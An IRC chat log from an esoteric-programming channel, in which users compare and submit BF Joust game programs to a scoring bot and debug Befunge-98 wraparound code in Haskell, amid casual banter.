19:10:39 <myndzi> slowrush may have been designed with that in mind but i don't think it's the one
19:10:41 <elliott> winning
19:10:42 <myndzi> it was an earlier defend version
19:10:43 <elliott> that's what
19:10:49 <myndzi> trip the tripwire then just take your time gettting there
19:10:59 <Gregor> Crap sandwiches, man!
19:11:00 <myndzi> defend decs its flag until it loses
19:11:04 <myndzi> that was fun.
19:11:09 <impomatic> quintopia: unfortunately it turns out I've recreated defend from scratch. :-(
19:11:17 <ais523> myndzi: aha: what happens is that the extra pair of square brackets around the attack in slowrush serves as a defend7 detector
19:11:27 -!- pikhq_ has joined.
19:11:28 <Gregor> INTELLIGENT DESIGN IN ACTION
19:11:29 -!- pikhq has quit (Ping timeout: 260 seconds).
19:11:41 <Vorpal> !bfjoust test (+-)*1000000
19:11:46 <ais523> slowrush notices that [+] went past 0 but didn't stay there the cycle afterwards, and does the whole 22-offset thing again
19:11:55 <EgoBot> Score for Vorpal_test: 8.6
19:11:58 <myndzi> oh shit i was misreading the nesting
19:12:13 <myndzi> i thought thte two were separate and it was just alternating the attacks
19:12:18 <myndzi> didn't remember they were tied together
19:12:26 <ais523> no, they're not tied
19:12:34 <ais523> [[-(+)*22[-]]
19:12:35 <elliott> Deewiant: Hmm, Mycology wraps right after printing the first 0?
19:12:40 <myndzi> i mean the -+ and the +-
19:12:42 <ais523> that has one more pair of square brackets than normal
19:12:54 <myndzi> >(+)*19>(-)*19(>++++++>------)*1>+>->->+(>[[-(+)*22[-]]+>[+(-)*22[+]]->]+)*21
19:12:59 <Deewiant> elliott: Mycology wraps after "Befunge-98 detected"
19:12:59 <Gregor> !bfjoust aaaaah_motherland (>)*10((+)*127<)*10
19:13:01 <ais523> so the [-]], if it doesn't leave the loop, means you hit a defense program that's trying to lock you in place
19:13:13 <elliott> $ ./shiro
19:13:13 <elliott> (75489,181,884)
19:13:13 <elliott> 0 shiro: wrap
19:13:14 <EgoBot> Score for Gregor_aaaaah_motherland: 1.6
19:13:15 <myndzi> they are tied togethter
19:13:17 <elliott> Deewiant: To differ, I beg
19:13:18 <Gregor> Yessssssssssssssss
19:13:20 <myndzi> the forward and backward one
19:13:23 <myndzi> in a loop
19:13:25 <quintopia> they are indeed tied together ais523
19:13:25 <myndzi> definitely slow
19:13:35 <quintopia> so, yeah, ridic slow
19:13:35 <myndzi> i was reading it as something like
19:13:41 <ais523> and the ingenious part is, that bit only runs against defense programs
19:13:45 <Vorpal> !bfjoust test ]
19:13:46 <myndzi> well, something without those bracketts
19:13:52 <myndzi> yeah, i'm pretty sure i did that intentionally ;p
19:13:55 <ais523> so you use your own decoy-clear code as a timing-randomiser against defend7
19:13:57 <EgoBot> Score for Vorpal_test: 8.1
19:13:59 <Deewiant> elliott: Er, right; before
19:13:59 <myndzi> i just couldn't remember what i was doing haha
19:14:00 <Vorpal> wait what
19:14:04 <elliott> Deewiant: Right. :p
19:14:06 <Vorpal> that's a syntax error
19:14:10 <Vorpal> how can it get any points
19:14:20 <myndzi> it just sits there
19:14:23 <ais523> impomatic: is scimitar just a defend7 clone?
19:14:26 <myndzi> and programs that skip tripwires suicide
19:14:29 <Gregor> Oh, I forgot to write MetaBFJoust :P
19:14:29 <ais523> Vorpal: it draws with everything, IIRC
19:14:38 <Vorpal> ais523, I thought that was fixed
19:14:48 <Vorpal> 3 | - - - 0 - + 0 - - 0 - - - - - - - - + 0 | 8.1 | -11.7 | Vorpal_test.bfjoust
19:14:49 <Vorpal> yeah
19:14:51 <impomatic> ais523: I haven't checked exactly, but I think it's pretty similar.
19:15:02 <Vorpal> !bfjoust test >[+
19:15:11 <myndzi> pretty ... scimilar
19:15:11 <myndzi> HAR
19:15:13 <EgoBot> Score for Vorpal_test: 8.1
19:15:15 <Vorpal> should be same score
19:15:18 <Vorpal> yeah
19:15:31 <myndzi> try !bfjoust test .
19:15:33 <myndzi> it'll be the same
19:15:35 <myndzi> in the same places ;p
19:15:46 <myndzi> you don't lose for running out of code
19:15:53 <Vorpal> !bfjoust test .
19:15:58 <myndzi> ] doesn't try to loop because the cell is nonzero
19:16:00 <ais523> impomatic: it's not quite; the differences: defend7 uses its flag to lock the opponent, scimitar uses the cell after; and defend7 has an extra decoy for tripping anti-tripwires
19:16:03 <quintopia> Gregor: aka, submit programs that generate bfjoust programs, give them the programs they fought to learn from, and iterate?
19:16:04 <myndzi> so even though it's a syntax error.. lol
19:16:05 <Vorpal> myndzi, I thought syntax error wouldn't do that
19:16:05 <EgoBot> Score for Vorpal_test: 8.1
19:16:34 <Vorpal> ais523, does tripwire set up decoys?
19:16:36 -!- copumpkin has quit (Ping timeout: 240 seconds).
19:16:56 <ais523> tripwire itself, I can't remember
19:16:57 <myndzi> ais523: i have an idea on a similar concept actually now
19:16:59 <ais523> tripstridewire doesn't
19:16:59 <myndzi> i'll have to try later
19:17:02 <myndzi> i have to go
19:17:20 <quintopia> i think the metabfjoust tourney would be the best thing ever
19:17:28 <Vorpal> !bfjoust test (>[-].)*
19:17:31 <Vorpal> wait
19:17:34 <Vorpal> !bfjoust test (>[-].)*20
19:17:39 <ais523> way to specify a repeat count
19:17:41 <EgoBot> Score for Vorpal_test: 8.3
19:17:41 <EgoBot> Score for Vorpal_test: 8.3
19:17:47 <Vorpal> ais523, yeah XD
19:18:15 <Gregor> quintopia: Yeah
19:18:29 <ais523> hmm, slowrush shows huge signs of being optimised specifically to beat its main competitors at the time
19:18:43 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
19:18:51 <ais523> also interesting: defend7 beats a lot more than scimitar, but scimitar tends to beat better programs
19:18:51 <Gregor> ais523: And yet, it's still on the top of the hill :P
19:19:00 <quintopia> ^
19:19:00 -!- copumpkin has joined.
19:19:02 <ais523> (and ofc, they draw with each other)
19:19:04 <ais523> Gregor: indeed
19:19:15 <Gregor> And no claiming that my score-calculation algorithm is unfair :P
19:19:30 <ais523> I think slowrush took a generically good program, and tweaked it to beat a bunch of specific strategies that beat it
19:19:35 <ais523> which is of course a legitimate thing to do
19:19:42 <quintopia> so the scoring system gives you a better ranking for beating better programs?
19:19:45 <ais523> yep
19:20:10 <Gregor> quintopia: http://codu.org/eso/bfjoust/SCORES
19:20:52 <ais523> Gregor: tripstridewire is a bit of an exploit of your scoring algo, btw, seeing as it normally loses overall but is optimised for short tapes and so doesn't lose very badly to most programs
19:20:56 <elliott> Deewiant: The essential trickiness seems to be that whenever I say "foo < minFoo", I actually mean "foo > maxFoo" if dfoo is negative, and my headache isn't showing any signs of going away.
19:21:01 <ais523> thus it doesn't lose so many points
19:21:20 <Deewiant> elliott: Just separate the two dfoo cases?
19:21:27 <Vorpal> elliott, try aspirin?
19:21:35 <Gregor> ais523: If you have suggestions for a better scoring algorithm ... TOO BAD, mine is perfect by definition.
19:21:42 <elliott> Vorpal: Aspirin is nasty.
19:21:46 <ais523> I don't, it's part of the game
19:21:48 <quintopia> ais523: what do you think of having a "gauntlet" of simple programs that never get deleted that contribute to the program's score in addition to the hill battles?
19:21:50 <elliott> Deewiant: Yeah, except that when I do that, it fails :-D
19:21:53 <Vorpal> elliott, in taste or what?
19:21:58 <elliott> Vorpal: In side-effects.
19:22:02 <quintopia> we could pick and choose which programs go in the "gauntlet"
19:22:04 <ais523> quintopia: people might just exploit specific failings of them
19:22:08 <Vorpal> elliott, I thought Alvedon was the really bad one when it came to side effects?
19:22:14 <Deewiant> elliott: You're doing it wrong :-P
19:22:18 <ais523> I think the "gauntlet" is made up atm by the programs that have been there over a year
19:22:23 <ais523> anyway, time to go home
19:22:24 -!- ais523 has quit (Remote host closed the connection).
19:22:26 <elliott> Vorpal: http://en.wikipedia.org/wiki/Aspirin#Adverse_effects
19:23:48 <quintopia> and yet every now and then ... stupid programs get added that do much better than they should... and there's no way to prevent a single strategy from taking over half of the hill
19:23:58 <Vorpal> elliott, hm they are all more or less bad it seems
19:24:07 <impomatic> !bfjoust scimitar http://candlebags.co.uk/temp/1.txt
19:24:21 -!- pumpkin has joined.
19:24:45 <EgoBot> Score for impomatic_scimitar: 0.0
19:24:49 <elliott> Vorpal: Adverse effects, bad? Never!
19:24:56 <Vorpal> elliott, XD
19:25:06 <Vorpal> quintopia, they aren't stupid if they work :P
19:25:30 <Vorpal> quintopia, besides there is beauty in simplicity
19:25:35 <elliott> Deewiant: What does it means if I get "0 4 ".
19:25:37 <quintopia> Vorpal: they only work against specific opponents though, but that's enough to take over half the hill
19:25:37 <Vorpal> (or something)
19:25:50 <impomatic> !bfjoust scimitar http://candlebags.co.uk/temp/1.txt
19:25:54 <Vorpal> quintopia, that's the scoring code that is problematic then
19:25:58 <Deewiant> elliott: You're fucked? :-D
19:26:10 <elliott> Gregor: I suggest that you weight programs such that a program gets penalised more heavily for not beating more of the hill.
19:26:16 <elliott> Gregor: Perhaps make it exponential or something.
19:26:24 <Vorpal> yeah that would work
19:26:28 <elliott> Gregor: (But make sure to take into account not penalising for losing to really bad programs)
19:26:34 <Vorpal> but I find the specialised ones quite interesting
19:26:35 <EgoBot> Score for impomatic_scimitar: 37.7
19:26:37 -!- copumpkin has quit (Ping timeout: 240 seconds).
19:26:58 <Deewiant> elliott: Your v moves southwest instead of south?
19:27:08 <elliott> Deewiant: No, all I've changed is my wrapping code :-D
19:27:18 <impomatic> !bfjoust scimitar http://candlebags.co.uk/temp/1.txt
19:27:23 <Deewiant> Your wrapping code should have no effect until before "Befunge-98 detected"
19:27:48 <elliott> Deewiant: Well... it "wraps" after you output 0 for me.
19:27:57 <Vorpal> elliott, you are doing it wrong then
19:28:04 <Deewiant> elliott: Find the wrap: 0#@>. 1#@v
19:28:08 <EgoBot> Score for impomatic_scimitar: 46.6
19:28:09 <Deewiant> Hint: it's not to be found
19:28:19 <elliott> Then something is fucked HOORAY
19:28:41 -!- Sgeo has quit (Ping timeout: 255 seconds).
19:29:12 <elliott> Deewiant: Fixed by doing something that makes no sense!!!
19:29:21 <elliott> (updateBounds x y rb)
19:29:22 <elliott> (updateBounds y x cb)
19:29:22 <elliott> where updateBounds k v =
19:29:22 <elliott> Map.alter (\x -> Just $ maybe (v,v) (\(minv,maxv) ->
19:29:22 <elliott> (if v < minv then v else minv,
19:29:22 <elliott> if v > maxv then v else maxv)) x) k
19:29:23 <Vorpal> impomatic, why do you do >->+[]< hm...
19:29:24 <elliott> rb = row bounds
19:29:26 <elliott> cb = column bounds
19:29:32 <elliott> Now, stop me if I'm wrong.
19:29:40 <elliott> But surely the row bounds should be indexed by y?
19:29:48 <Vorpal> impomatic, oh you defend the first decoy after?
19:30:13 <impomatic> Vorpal: defend on the first cell after the flag.
19:30:18 <Vorpal> impomatic, right
19:31:45 <Vorpal> elliott, v < minv? Not the other way around?
19:32:01 <impomatic> Apparently defend7 defends on the flag, but if I try that next I'll probably end up with the same code :-(
19:32:05 <elliott> Vorpal: If the new value is lower than the minimum bound, the new value is the new minimum bound.
19:32:06 <elliott> No?
19:32:14 <Vorpal> oh
19:32:36 <Vorpal> elliott, wait. If v is less that minumum, then v
19:32:52 <Vorpal> oh wait update *duh*
19:32:58 <Vorpal> thought it was wrapping
19:33:26 <elliott> Vorpal: But the thing is, I'm indexing the _ROW_ bounds with x which is the _column_
19:33:28 <elliott> so wtf
19:33:36 <elliott> and that makes it work
19:33:37 <impomatic> !bfjoust scimitar2 http://candlebags.co.uk/temp/2.txt
19:33:41 <elliott> but if i swap it it fails
19:33:58 <EgoBot> Score for impomatic_scimitar2: 42.4
19:35:41 <Vorpal> Gregor, why http://codu.org/eso/bfjoust/report-2009-05-29-20-17.mp4
19:35:56 <Gregor> Vorpal: Because I felt like it? :P
19:36:01 <Vorpal> Gregor, ah
19:36:42 <elliott> ???
19:36:49 <elliott> Oh, right
19:37:07 <impomatic> !bfjoust scimitar2 http://candlebags.co.uk/temp/3.txt
19:37:20 <EgoBot> Score for impomatic_scimitar2: 0.0
19:37:38 <impomatic> !bfjoust scimitar2 +
19:37:42 <Gregor> impomatic: Why in god's name do you have /temp/ access to candlebags.co.uk?
19:37:54 <EgoBot> Score for impomatic_scimitar2: 8.9
19:37:58 <Gregor> (Note the decapitalization of "god" that makes the above phrase totally meaningless)
19:38:11 <elliott> Candlebags is actually a street name for crack cocaine.
19:38:14 <elliott> The more you know!
19:38:19 <elliott> (Note: Lies.)
19:38:23 <impomatic> Gregor: just one of my websites
19:38:23 <Gregor> *stars fly over our heads8
19:38:25 <Gregor> *
19:38:28 <elliott> TRUE Lies
19:38:38 <Vorpal> impomatic, you sell the stuff in http://candlebags.co.uk/ ?
19:38:52 <elliott> No. He sells crack cocaine POSING as that. (Note: Also lies)
19:39:02 <Gregor> It's actually just uncut pure cocaine.
19:39:38 <elliott> He isn't denying it!
19:39:56 <impomatic> Vorpal: yes, candles etc
19:40:14 <elliott> "Candles"
19:40:22 <Vorpal> Gregor, I'd like mine in a rose cut
19:40:27 <impomatic> Elliott: no crack, that'd be my other website
19:40:31 <elliott> PEOPLE WHO BELIEVE IMPOMATIC'S COVER STORY: 0
19:40:40 <elliott> PEOPLE WHO DON'T BELIEVE IMPOMATIC'S COVER STORY: All of them
19:40:41 <Gregor> crackcocaineforyouhooray.co.uk
19:40:49 <elliott> Gregor: A+++ would buy from similarly-named sites again
19:40:54 <Gregor> X-D
19:43:37 <Vorpal> Gregor, what does codu stand for
19:43:39 <Vorpal> in codu.org
19:43:48 <Gregor> Vorpal: Nothing
19:43:52 <Vorpal> oh
19:45:09 <elliott> Crack Orgies? Dtotally Usoldhere
19:46:05 <Vorpal> elliott, XD
19:48:13 -!- Lymia__ has joined.
19:49:25 -!- elliott_ has joined.
19:49:28 <elliott_> Deewiant; So does CCBI really solve diophantines for wrapping?
19:49:34 -!- elliott has quit (Read error: Connection reset by peer).
19:49:34 <Deewiant> Yes
19:49:46 <elliott_> Deewiant: What license is CCBI under again?
19:49:50 <Deewiant> BSD
19:50:06 <Vorpal> elliott_, are you going to just copy what he wrote?
19:50:07 <Vorpal> :P
19:50:07 <elliott_> Deewiant: How imperative is the code :P
19:50:11 <elliott_> Vorpal: Maybe this once.
19:50:15 <quintopia> does [-] decrement every 3 cycles or every other cycle?
19:50:19 <elliott_> At least until I can figure out wtf is wrong.
19:50:21 <Deewiant> Um, fairly? I dunno
19:50:28 <Deewiant> It's pretty complicated though :-P
19:51:24 -!- Lymia_ has quit (Ping timeout: 240 seconds).
19:51:38 -!- copumpkin has joined.
19:52:05 -!- pumpkin has quit (Ping timeout: 255 seconds).
19:56:36 <Vorpal> <elliott_> Deewiant; So does CCBI really solve diophantines for wrapping? <-- do you think I would lie?
19:56:44 <elliott_> No, but I think you might misunderstand :P
19:56:59 <Vorpal> elliott_, unlikely.
19:57:33 <elliott_> I think my wrapping is broken again X_X
19:57:37 <elliott_> Why is this so fucking hard to get right
19:57:49 <Vorpal> elliott_, why are you not doing it as a single bounding box?
19:57:50 <Deewiant> Why don't you implement the trivial algorithm straight from the spec
19:57:54 <elliott_> It's those stupid fucking non-cardinal directions.
19:57:59 <elliott_> Deewiant: I am and it isn't working :P
19:58:05 <elliott_> Deewiant: Because of the awy I store bounds.
19:58:08 <elliott_> Vorpal: Because that doesn't allow for shrinking.
19:58:14 <Vorpal> elliott_, it does!
19:58:15 <Deewiant> If you fall outside bounds, turn around and move until you fall outside bounds again, and then reverse
19:58:16 <elliott_> Well, not sanely.
19:58:29 <elliott_> Deewiant: That's what I've been doing.
19:58:33 <Vorpal> elliott_, just keep member counts for each column and row
19:59:04 <Vorpal> elliott_, that won't work for jagged bounds. Think of one short line between two really long ones. Or a situation where funge space is:
19:59:06 <Vorpal> x
19:59:07 <Vorpal> x
19:59:15 <elliott_> *way
19:59:31 <elliott_> Deewiant: Meh, I'll just store bounds as a rectangle, Vorpal is right for once.
19:59:42 <Vorpal> elliott_, *as usual
19:59:46 <elliott_> *for once
19:59:52 <Vorpal> *as usual
20:00:02 -!- copumpkin has quit (Ping timeout: 250 seconds).
20:00:08 <Vorpal> it is patently obvious anyway
20:02:00 <elliott_> Not when you have a headache
20:02:18 <Vorpal> elliott_, maybe you should go rest then
20:02:28 <elliott_> Meh
20:03:11 -!- copumpkin has joined.
20:03:18 <Phantom_Hoover> elliott_, take DRUGS
20:03:29 <Phantom_Hoover> IT IS A GOOD THING IT IS AFTER THE 60s NOW
20:03:32 <elliott_> Okay.
20:03:38 <elliott_> DAMN YOU PEER PRESSURE
20:04:00 <elliott_> Deewiant: OK, it now wraps after "p modifies space" which is indeed the correct place.
20:05:49 -!- myndzi_ has joined.
20:05:58 <myndzi_> hey finally worked
20:06:02 <myndzi_> stupid sasl
20:06:23 <Vorpal> myndzi_, what did?
20:06:31 <Vorpal> sasl?
20:06:32 <elliott_> Deewiant: Do you stop moving when *one* coord goes out of bounds, or when *both* go out of bounds?
20:06:37 <Vorpal> what is the point of that
20:06:43 <Vorpal> I mean, on irc
20:06:44 <Vorpal> over ssl
20:06:50 <Vorpal> it seems a bit pointless to me
20:07:01 <Vorpal> oh wait, you aren't using ssl to freenode myndzi_?
20:07:40 <Vorpal> elliott_, you mean for wrapping?
20:07:44 <elliott_> Yes.
20:07:47 <Vorpal> elliott_, one coord I believe
20:08:33 <elliott_> What if both are out of bounds? Do you correct both to be in-bounds, or just one?
20:08:36 <Vorpal> elliott_, at least with the simple bounding box model that should work
20:08:36 <Deewiant> elliott_: One, of course
20:08:40 <Deewiant> elliott_: And both, of course
20:08:41 <elliott_> What if both are out of bounds? Do you correct both to be in-bounds, or just one?
20:08:43 <elliott_> Okay. :p
20:08:46 <elliott_> I'm a bit 'tarded.
20:08:56 <Vorpal> `addquote <elliott_> I'm a bit 'tarded.
20:08:57 <HackEgo> 297) <elliott_> I'm a bit 'tarded.
20:09:03 <Vorpal> (NOTHING PERSONAL!)
20:09:26 <Deewiant> `addquote ( Vorpal) `addquote <elliott_> I'm a bit 'tarded. ( Vorpal) (NOTHING PERSONAL!)
20:09:26 <HackEgo> 298) ( Vorpal) `addquote <elliott_> I'm a bit 'tarded. ( Vorpal) (NOTHING PERSONAL!)
20:09:31 <quintopia> myndzi_: [-] <--how many cycles per dec?
20:09:37 <Vorpal> Deewiant, fair enough
20:09:58 <elliott_> Deewiant: That... worst nickname format ever.
20:10:11 <elliott_> `run sed -i 's/( Vorpal)/<Vorpal>/g' quotes
20:10:12 <HackEgo> No output.
20:10:13 <elliott_> `quote 298
20:10:13 <Vorpal> and I agree with elliott_ on that one
20:10:15 -!- GreaseMonkey has joined.
20:10:17 <HackEgo> 298) <Vorpal> `addquote <elliott_> I'm a bit 'tarded. <Vorpal> (NOTHING PERSONAL!)
20:10:20 <olsner> multi-line quotes always end up so ugly :/
20:10:28 <elliott_> Only because MORONS DON'T PUT TWO SPACES BETWEEN MESSAGES
20:10:40 <elliott_> `run sed -i s'/tarded. <V/tarded. <V/g' quotes
20:10:41 <HackEgo> No output.
20:10:42 <elliott_> `quote 298
20:10:44 <HackEgo> 298) <Vorpal> `addquote <elliott_> I'm a bit 'tarded. <Vorpal> (NOTHING PERSONAL!)
20:10:48 <elliott_> I am a magical.
20:11:07 <olsner> you're a bit of a 'tard, obviously
20:11:26 <elliott_> More than a bit, my friend
20:11:36 <impomatic> !bfjoust scimitar2 http://candlebags.co.uk/temp/3.txt
20:11:38 <elliott_> Hey Deewiant, what has three ducks and quacks like hanging after "GOOD: p modifies space"
20:12:30 <EgoBot> Score for impomatic_scimitar2: 43.9
20:12:33 <olsner> damn annoying WM bug, the taskbar loses the ability to change focus
20:12:47 <olsner> clicking just starts the "wants attention" animation
20:13:45 <elliott_> Deewiant: Seriously though, what's wrong with this logic: If the coordinate oversteps either current boundary, jump it to the opposite one.
20:13:57 <Vorpal> olsner, what WM?
20:13:57 <impomatic> !bfjoust scimitar2 +
20:13:59 <elliott_> That's pathological if you e.g. go off the end of the right and there's 2 billion spaces before the single instruction before the end.
20:14:05 <elliott_> But it seems like it'd normally be faster.
20:14:07 <EgoBot> Score for impomatic_scimitar2: 8.9
20:14:08 <olsner> Vorpal: xfce
20:14:21 <Vorpal> elliott_, that works for cardinal?
20:14:27 <elliott_> Vorpal: Oh, is that cardinal-only?
20:14:28 <elliott_> Darn.
20:14:33 <elliott_> olsner: xfwm is really bad IME
20:14:33 <Vorpal> elliott_, not for flying of course
20:14:47 <Vorpal> elliott_, see the reversing algorithm for flying!
20:14:54 <elliott_> BAD: wraparound with non-cardinal delta doesn't work
20:14:56 <elliott_> YOU'RE FUCKING JOKING
20:15:04 <olsner> it seems time-related, but I dunno if it's about uptime or just about more opportunities for the right case to happen
20:15:08 <elliott_> Deewiant, it works PERFECTLY.
20:15:25 <Vorpal> elliott_, Why don't you just do the flying algorithm from the spec
20:15:30 <elliott_> Vorpal: I *did*.
20:15:31 <elliott_> *Directly*.
20:15:32 <myndzi_> 2 on [-]
20:15:39 <olsner> elliott_: why so? except for this bug I think it's as good as any wm I've tried
20:15:41 <Vorpal> elliott_, on boxy bounds?
20:15:43 <elliott_> wrap minXY@(minX,minY) maxXY@(maxX,maxY) (Ray (x,y) d@(dx,dy))
20:15:43 <elliott_> | oobX || oobY = Ray (if oobX then x+dx else x, if oobY then y+dx else y) d
20:15:43 <elliott_> | otherwise = wrap minXY maxXY (Ray (x-dx,y-dy) d)
20:15:43 <elliott_> where oobX = x < minX || x > maxX
20:15:43 <elliott_> oobY = y < minY || y > maxY
20:15:45 <elliott_> Vorpal: Yes.
20:15:45 <Vorpal> elliott_, or on jagged ones?
20:15:45 <myndzi_> if it wasn't already answered
20:15:47 <elliott_> Vorpal: Boxy.
20:15:50 <Vorpal> right
20:15:52 <elliott_> Big ol' frickin' box of boxshit.
20:15:59 <myndzi_> sasl not ssl
20:16:00 <elliott_> Hmm, wait.
20:16:02 <elliott_> FungeSpace (Map.insert k v m)
20:16:02 <olsner> at least in the "normal" category of WM's, with floating windows and stuff
20:16:02 <elliott_> (if x < minX then x else minX, if y < minY then y else minY)
20:16:02 <elliott_> (if x > maxX then x else maxX, if y > maxY then y else maxY)
20:16:06 <elliott_> That update algorithm might be wrong.
20:16:07 <elliott_> Wait, no.
20:16:07 <Vorpal> elliott_, well I'm not sure. But cfunge implements that one
20:16:10 <myndzi_> freenode wouldn't let me connect without it on my phone
20:16:10 <elliott_> It's perfectly correct.
20:16:11 <Vorpal> in case you want to check
20:16:16 <myndzi_> it's authentication
20:16:18 <Vorpal> elliott_, rather than solving equations
20:16:28 <myndzi_> my pass is a hash so it was a pain in the ass ;)
20:16:48 <elliott_> Vorpal: Can't read cfunge, it's GPL'd. If you grant me a license to read that code and rewrite a derivative-in-algorithm without restrictions...
20:16:49 -!- myndzi_ has changed nick to nescience.
20:16:52 <Vorpal> myndzi_, err. Why not on your phone?
20:17:00 <nescience> o this is registered?
20:17:07 -!- nescience has changed nick to evitable.
20:17:12 <evitable> maybe to me, check later
20:17:14 <Vorpal> elliott_, alas I can't. Other copyrightholders
20:17:18 <Vorpal> elliott_, including you and ais
20:17:18 <elliott_> evitable: you can't evit the inevitable
20:17:25 <olsner> elliott_: which window manager would you recommend though?
20:17:26 <elliott_> Vorpal: They haven't touched the wrapping code.
20:17:31 <elliott_> Vorpal: I mean just this single algorithm.
20:17:33 <evitable> I don't know, I think bot protection
20:17:36 <elliott_> olsner: They all suck.
20:17:39 <Vorpal> elliott_, remember when you ported it to cygwin!
20:17:44 <evitable> maybe my ip falls in a restricted block
20:17:44 <elliott_> olsner: Although dwm is quite nice. :p
20:17:53 <evitable> or - oh - probably because no ident
20:17:55 <elliott_> Vorpal: I grant myself the appropriate license. And as ais523 hasn't touched the wrapping code...
20:17:58 <Vorpal> elliott_, wait, let me rewrite it in asm!
20:18:01 <olsner> elliott_: dwm is a tiling wm, right?
20:18:05 <Vorpal> elliott_, actually you didn't touch wrapping code
20:18:11 <Vorpal> elliott_, anyway it is rather imperative
20:18:11 <elliott_> olsner: Well, yes, but it's dynamic tiling.
20:18:30 <elliott_> Vorpal: That's okay, I just want to see the damn thing :P
20:18:35 <elliott_> Because I'm implementing this perfectly.
20:18:36 <Vorpal> elliott_, well sure
20:18:42 <elliott_> YAY
20:18:51 <Vorpal> elliott_, just remember to mention me in credits!
20:19:00 <elliott_> Vorpal: That's not a no-restrictions license.
20:19:10 <elliott_> But hey, that's all right, you can't copyright an algorithm anyway.
20:19:10 <Vorpal> elliott_, indeed it is BSDish
20:19:21 <fizzie> I thought the SASL-auth thing only applied to people connecting via Tor. I mean, quite a few people don't have a reachable identd.
20:19:33 <elliott_> // NOTE: This has been duplicated in funge-space.c for speed reasons.
20:19:34 * elliott_ facepalms
20:19:56 <elliott_> I love FUNGE_ATTR_FAST.
20:20:00 <elliott_> It just MAKES THE FUNCTION FASTER.
20:20:02 <elliott_> :D
20:20:08 <Vorpal> elliott_, actually the inlining helped
20:20:12 <Vorpal> elliott_, I did profile it
20:20:17 <Vorpal> and we are talking about a 20%
20:20:20 <Vorpal> difference
20:20:23 <elliott_> What is it with Befunge implementers and profiling.
20:20:28 <elliott_> Vorpal: You could have put it in a C file to be #included :P
20:20:28 <fizzie> Googling freenode + sasl only finds that recent "be safe out there" blog-post that they have in the MOTD, which says "One form of spam, popular recently, claims that freenode will require SASL to connect."
20:20:31 <elliott_> Rather than duplicating code.
20:20:35 <Vorpal> elliott_, that too
20:20:51 <Vorpal> elliott_, anyway it is fungespace_wrap you want to check
20:20:55 <elliott_> I know.
20:20:56 <elliott_> I like how you have a CFUN_OBEY_THE_SPECIFICATION define.
20:21:06 <elliott_> // FIXME, HACK: Why are the +1/-1 needed?
20:21:09 <elliott_> FEELING GOOD ABOUT THIS CODE GUYS
20:21:20 <Vorpal> elliott_, that is for cardinal :P
20:21:36 <Vorpal> elliott_, you only need the section after
20:21:39 <Vorpal> with the do-while loop
20:22:25 <elliott_> As far as I can tell, your code shouldn't be able to work.
20:22:29 <elliott_> BAD: wraparound skips easternmost cell
20:22:34 <Vorpal> elliott_, mine does?
20:22:39 <elliott_> Because you increment the x and y by the delta unconditionally...
20:22:43 <Vorpal> elliott_, uh that is not BAD
20:22:46 <Vorpal> it is UNDEF
20:22:47 <elliott_> whereas you should surely only do it for those coordinates that are out of bounds.
20:22:48 <evitable> I saw that too fizzie, but it disconnects me and says this server requires sasl
20:22:49 <elliott_> Vorpal: That's BAD.
20:22:50 <Vorpal> at least was last I checked
20:22:55 <elliott_> Deewiant: Facepalm Vorpal for me.
20:22:58 <Vorpal> elliott_, not when I wrote the code. Why is it bad now
20:23:01 <elliott_> Or just give him the ability to read.
20:23:03 <Vorpal> oh wait
20:23:10 <Vorpal> elliott_, I thought you said something else
20:23:13 <elliott_> OTHER THINGS THAT HELP VORPAL UNDERSTAND: Mocking.
20:23:15 <evitable> it doesn't do it on my home computer
20:23:16 <elliott_> Added to list.
20:23:21 <Vorpal> <elliott_> Because you increment the x and y by the delta unconditionally... <-- what else should you do
20:23:22 <evitable> I think it must be ident
20:23:27 <Vorpal> if you don't what the heck are you doing
20:23:28 <evitable> and/or my ip block
20:23:31 <elliott_> Vorpal: Increment only the coordinates that are out of bounds.
20:23:32 <evitable> or maybe a proxy scan
20:23:39 <Vorpal> elliott_, *why*
20:23:45 <Vorpal> elliott_, that is a bug obviously
20:23:52 <elliott_> Vorpal: Because otherwise you skip the first cell?
20:23:59 <Vorpal> elliott_, *blink*
20:24:00 <Deewiant> elliott_: You have to move by the delta :-P
20:24:07 <elliott_> wrap minXY@(minX,minY) maxXY@(maxX,maxY) (Ray (x,y) d@(dx,dy))
20:24:07 <elliott_> | oobX || oobY = Ray (x+dx, y+dx) d
20:24:07 <elliott_> | otherwise = wrap minXY maxXY (Ray (x-dx,y-dy) d)
20:24:07 <elliott_> where oobX = x < minX || x > maxX
20:24:07 <elliott_> oobY = y < minY || y > maxY
20:24:12 <elliott_> Deewiant: SERIOUSLY, HOW CAN THIS CODE NOT BE PERFECT
20:24:13 <Vorpal> elliott_, 'tard-a-lot
20:24:18 <fizzie> :lindbohm.freenode.net NOTICE * :*** No Ident response ← but it didn't really matter, it let me in just fine.
20:24:20 <elliott_> IT'S NOT TARDULOUS IN THE SLIGHTEST
20:24:23 <elliott_> IT'S THE SIMPLEST FUCKING
20:24:35 -!- fizzie3 has joined.
20:24:40 <elliott_> Hi fizzie3!
20:24:44 <elliott_> Your username is ~1.
20:25:06 <fizzie3> :Yes, I always type "USER 1 2 3 4" when I can't be bothered to remember the parameters. :p
20:25:18 <elliott_> fizzie3: EXTRA COLON
20:25:21 <fizzie3> My realname is also "4".
20:25:29 <elliott_> Hi 4.
20:25:36 <fizzie3> Yet I am not a number! I am a free man!
20:25:40 <elliott_> "My real name is 4, but I go by fizzie3 on the Internet. I log in as 1."
20:25:48 -!- fizzie3 has quit (Client Quit).
20:25:56 <elliott_> Yay, WM got broken again.
20:26:09 <Vorpal> elliott_, WM as in window manager?
20:26:26 <Vorpal> elliott_, anyway do you move by delta now
20:26:42 <Vorpal> or do you still do the "only mess with one out of bounds" weirdness
20:26:42 <elliott_> No, because that, as I said, breaks it.
20:26:46 <elliott_> Now let me fix my fucking WM >_<
20:26:59 <Vorpal> elliott_, well the correct thing is to move by delta always
20:27:01 <Vorpal> that will fix it
20:27:19 <elliott_> I fucking do. Argh, it has a typo. LET ME FIX MY WM stop talking okay how do i kil lthis thing
20:27:33 <Vorpal> elliott_, try /quit
20:27:42 <Vorpal> (unhelpful)
20:28:28 -!- elliott_ has quit (Remote host closed the connection).
20:28:32 -!- elliott has joined.
20:28:54 <elliott> It fucking passes! O Joy!
20:29:05 <elliott> TODO: Shrinking.
20:29:18 <Deewiant> What'd you do
20:29:21 <Vorpal> elliott, that is trivial with cfunge's algorithm!
20:29:33 <elliott> *the spec's algorithm
20:29:34 <elliott> That's the algorithm I'm using you asswipe. :P
20:29:45 <Vorpal> elliott, for shrinking? It has one?
